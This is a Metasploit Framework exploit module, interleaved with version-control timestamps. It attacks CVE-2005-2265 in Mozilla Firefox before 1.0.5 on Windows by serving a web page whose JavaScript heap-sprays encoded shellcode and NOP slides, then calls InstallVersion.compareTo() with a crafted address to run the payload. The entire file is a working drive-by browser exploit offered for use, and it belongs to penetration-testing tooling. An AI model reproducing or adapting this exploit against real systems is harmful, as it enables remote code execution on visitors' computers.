2007-02-18 00:10:39 +00:00
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##
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2007-04-04 04:37:30 +00:00
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# $Id$
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2007-02-18 00:10:39 +00:00
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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2009-04-13 14:33:26 +00:00
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# http://metasploit.com/framework/
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2007-02-18 00:10:39 +00:00
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##
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2006-07-31 02:50:41 +00:00
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require 'msf/core'
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2008-10-02 05:23:59 +00:00
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class Metasploit3 < Msf::Exploit::Remote
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2006-07-31 02:50:41 +00:00
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#
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# This module acts as an HTTP server
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#
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2008-10-02 05:23:59 +00:00
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include Msf::Exploit::Remote::HttpServer::HTML
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2006-07-31 02:50:41 +00:00
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Mozilla Suite/Firefox InstallVersion->compareTo() Code Execution',
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'Description' => %q{
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This module exploits a code execution vulnerability in the Mozilla
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Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit
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module is a direct port of Aviv Raff's HTML PoC.
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},
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'License' => MSF_LICENSE,
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'Author' => ['hdm', 'Aviv Raff <avivra [at] gmail.com>'],
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2007-02-18 00:10:39 +00:00
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'Version' => '$Revision$',
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2006-07-31 02:50:41 +00:00
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'References' =>
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[
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['BID', '14242'],
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['OSVDB', '17968'],
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['CVE', '2005-2265'],
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['URL', 'http://www.mozilla.org/security/announce/mfsa2005-50.html'],
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],
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'Payload' =>
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{
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'Space' => 400,
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'BadChars' => "\x00",
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},
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'Targets' =>
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[
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2008-07-22 06:02:03 +00:00
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[ 'Firefox < 1.0.5 Windows',
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2006-07-31 02:50:41 +00:00
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{
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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2007-12-04 20:13:50 +00:00
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'StackAdjustment' => -3500,
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2006-07-31 02:50:41 +00:00
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'Addrs' => [ 0x12000000, 0x11C0002C, 0x1200002C, 0x1180002C ],
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}
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],
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],
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'DisclosureDate' => 'Jul 13 2005'
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))
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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2008-07-19 05:04:33 +00:00
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print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
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2006-12-10 03:26:53 +00:00
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send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
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2007-04-04 04:37:30 +00:00
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# Handle the payload
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2006-07-31 02:50:41 +00:00
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handler(cli)
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end
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def generate_html(payload)
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enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))
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spray_to = sprintf("0x%.8x", target['Addrs'][0])
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spray_slide1 = Rex::Text.to_unescape( [target['Addrs'][1]].pack('V'), Rex::Arch.endian(target.arch) )
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spray_slide2 = Rex::Text.to_unescape( [target['Addrs'][2]].pack('V'), Rex::Arch.endian(target.arch) )
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eax_address = sprintf("0x%.8x", target['Addrs'][3])
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return %Q|
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<html>
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<head>
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<!--
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Copyright (C) 2005-2006 Aviv Raff (with minor modifications by HDM for the MSF module)
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From: http://aviv.raffon.net/2005/12/11/MozillaUnderestimateVulnerabilityYetAgainPlusOldVulnerabilityNewExploit.aspx
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Greets: SkyLined, The Insider and shutdown
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-->
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<title>One second please...</title>
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<script language="javascript">
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function BodyOnLoad()
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{
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location.href="javascript:void (new InstallVersion());";
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CrashAndBurn();
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};
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// The "Heap Spraying" is based on SkyLined InternetExploiter2 methodology
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function CrashAndBurn()
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{
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// Spray up to this address
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var heapSprayToAddress=#{spray_to};
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// Payload - Just return..
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var payLoadCode=unescape("#{enc_code}");
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// Size of the heap blocks
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var heapBlockSize=0x400000;
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// Size of the payload in bytes
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var payLoadSize=payLoadCode.length * 2;
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// Caluclate spray slides size
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var spraySlideSize=heapBlockSize-(payLoadSize+0x38); // exclude header
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// Set first spray slide ("pdata") with "pvtbl" fake address - 0x11C0002C
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var spraySlide1 = unescape("#{spray_slide1}");
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spraySlide1 = getSpraySlide(spraySlide1,spraySlideSize);
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var spraySlide2 = unescape("#{spray_slide2}"); //0x1200002C
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spraySlide2 = getSpraySlide(spraySlide2,spraySlideSize);
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var spraySlide3 = unescape("#{enc_nops}");
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spraySlide3 = getSpraySlide(spraySlide3,spraySlideSize);
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// Spray the heap
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heapBlocks=(heapSprayToAddress-0x400000)/heapBlockSize;
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//alert(spraySlide2.length); return;
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memory = new Array();
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for (i=0;i<heapBlocks;i++)
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{
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memory[i]=(i\%3==0) ? spraySlide1 + payLoadCode:
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(i\%3==1) ? spraySlide2 + payLoadCode: spraySlide3 + payLoadCode;
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}
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// Set address to fake "pdata".
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var eaxAddress = #{eax_address};
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// This was taken from shutdown's PoC in bugzilla
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// struct vtbl { void (*code)(void); };
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// struct data { struct vtbl *pvtbl; };
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//
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// struct data *pdata = (struct data *)(xxAddress & ~0x01);
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// pdata->pvtbl->code(pdata);
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//
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(new InstallVersion).compareTo(new Number(eaxAddress >> 1));
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}
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function getSpraySlide(spraySlide, spraySlideSize) {
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while (spraySlide.length*2<spraySlideSize)
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{
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spraySlide+=spraySlide;
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}
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spraySlide=spraySlide.substring(0,spraySlideSize/2);
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return spraySlide;
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}
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// -->
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</script>
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</head>
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<body onload="BodyOnLoad()">
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</body>
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</html>
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end
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2008-10-19 21:03:39 +00:00
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end
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